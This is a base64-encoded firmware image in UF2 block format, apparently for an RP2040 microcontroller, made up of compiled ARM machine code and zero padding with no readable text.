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
